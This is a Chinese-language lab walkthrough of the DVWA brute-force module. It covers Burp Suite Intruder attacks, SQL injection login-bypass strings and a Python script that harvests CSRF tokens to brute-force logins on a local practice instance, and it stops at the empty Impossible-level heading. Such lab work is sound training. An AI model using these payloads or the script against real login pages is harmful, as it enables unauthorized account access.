DVWA简介:
这一节介绍的就是第一个模块:暴力破解
这里指的是黑客利用字典密码,使用穷举法猜解出用户口令。
DVWA分为四个等级:分为 low、Medium、high、Impossible
low级别:
我们通过观看源代码发现,只是验证了参数Login是否被设置,并没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。
这类情况我们有两种方法方法一:使用burpsuite抓包爆破
发送到爆破模块,然后清除全部变量,再对username和password添加变量进行暴力破解,并设置爆破类型。
爆破类型分四种:Sniper(狙击手)、Battering ram(攻城锤)、Pitchfork(草叉模式)、Cluster bomb(集束炸弹)。
这里我们使用的是Cluster bomb,因为这样我们才能同时爆破出用户名和密码来。
然后对这两个变量载入字典(字典可以自己百度搜索自己下载),再设置线程。最后点击Start attack进行爆破(找不到Start attack按键的可以去Intruder菜单下找)
我们发现这个返回的长度和其他的不一样,那么我们推测它就是正确的密码
方法二:手工注入
用户名:admin‘# 或者 admin \' or \'1\'=\'1
密码:随意
Medium级别:
可以在这个位置观察源码
通过观察源码发现,Medium级别的代码主要增加了mysql_real_escape_string函数,除了宽字节注入外,可以抵挡其他的不能sql注入。
但是还是没有加入有效的防爆破机制,所以还是可以用上面的第一种方法使用burp爆破这里就不再赘述了。
High级别:
根据源码可以知道,这个级别对爆破攻击有一定的防护作用,但是也有疏忽的地方。
这个级别要校验token,每次都需要更新token。使用mysqli_real_escape_string(str)函数用户名的特殊符号(\x00,\n,\r,\,‘,“,\x1a)(ascii码0,换行,回车,回退)进行转义,
而且完全的抵抗了SQL的注入。
方法一:使用burp
前面操作和low一样,把抓的包发送到intruder,我们选中我们需要攻击的目标:
password 为参数1,让它使用字典。(这里就不用我那个大字典了,,太难查)
这个user_token就不是单纯的使用字典了,而是需要从我们的页面中获取。(照我图上这么做就好了)
一定要设置跟随重定向,方法如下:options->redirection设置为always
把user_token设为参数2,最后点击 Start attack:
发现我们的值就出来了。。
方法二:python脚本
代码如下:
#! /usr/bin/env/python #-*-coding:utf-8-*- import requests from bs4 import BeautifulSoup #字典 payloads = [ \'administrator\', \'admin\', \'password\', \'passwd\', \'123456\', \'123\' ] url = """http://localhost/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#""" cookies = { \'security\':\'high\', \'PHPSESSID\':\'cd1fggfc0bi84c3lh7kpsh98g2\', \'mask\':\'123\' } headers = { \'User-Agent\':\'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\', } def attack(payloads,url): #先要获得user_token source = \'http://localhost/dvwa/vulnerabilities/brute/index.php#\' index = 0 web_data = requests.get(source,headers = headers,cookies=cookies)#请求必须带上cookie,因为dvwa需要登陆 soup = BeautifulSoup(web_data.text, \'lxml\') user_token = soup.select(\'input[name="user_token"]\')[0][\'value\'] #从字典枚举 for payload1 in payloads: for payload2 in payloads: target = url.format(payload1,payload2,user_token) print u\'当前请求:\'+target web_data = requests.get(target,headers = headers,cookies=cookies) soup = BeautifulSoup(web_data.text,\'lxml\') user_token = soup.select(\'input[name="user_token"]\')[0][\'value\'] feature = soup.find(\'pre\') try: if feature.get_text()==\'Username and/or password incorrect.\':#错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的 print u\'错误\' except: print u\'可能得到结果:\' print \'username:\'+payload1+\'\n\'+\'password:\'+payload2 exit(u\'结束\') if __name__ == \'__main__\': attack(payloads,url)
Impossible级别: